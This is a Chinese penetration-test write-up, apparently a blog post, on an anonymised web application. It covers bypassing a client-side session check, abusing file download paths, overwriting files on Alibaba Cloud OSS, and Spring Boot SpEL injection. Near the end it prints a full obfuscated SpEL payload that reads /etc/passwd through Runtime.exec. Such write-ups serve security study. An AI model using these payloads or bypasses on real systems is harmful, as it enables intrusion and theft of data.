一、概述
一次不一样的未授权访问到命令执行的案例。
二、正文
1、未授权进后台
访问后台:http://xxx.xxx.com/index.html,显示页面后瞬间返回登录页面, 抓包看到有个 /user/getSession 返回null
搜索getSession找到js,如果为null就跳到登录页面
将/user/getSession返回包null改成任意其他字符即可 然后就进后台了。
就这?
2、尝试任意文件上传
进后台后看看有什么功能,除了这两个查询就上传下载了,先试试任意文件上传上传个图片试试,直接500
换了几个文件发现不是文件类型的问题,试着在date处加个值果然是这里的问题,但是没有返回上传的文件路径啊
去下载处一直查询为空,置空查询也没有
看看js找找下载地址
试着拼接路径下载刚才上传的图片
/file/download/1/n_v2df5fc346207846b8913f719db19338fe.gif?sendType
上传jsp不解析,直接下载下来了。
3、利用阿里云OSS上传与下载
改个不存在的路径看看,发现指向了私有阿里云oss
联想到[1、未授权进后台]章节里面图三里面的信息,将文件日期、文件名称代入试试,好家伙,3个G直接502;换小点的文件倒是可以直接下载下来。
此处用了阿里云的OSS,存在任意文件覆盖的漏洞。
备注:在OSS中进行文件上传时,若文件名已经存在,则会直接进行文件替换。
4、利用spEL注入执行系统命令
Whitelabel Error Page和小绿叶的icon很明显用的SpringBoot;由于在页面中回显了查询值,于是推测可能存在表达式注入,尝试Payload${9999*9999},成功执行,存在spEL注入
直接cat passwd
/file/download/1/$%7BT(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())%7D?sendType
三、总结
1、通过绕过客户端校验成功登录后台;
2、尝试任意文件上传,并通过JS源代码构造访问路径,失败告终;
3、通过构造访问路径下载任意数据文件,利用阿里云OSS特性覆盖任意文件;
4、利用SpringBoot spEL注入执行系统命令。
微信扫描二维码,关注我的公众号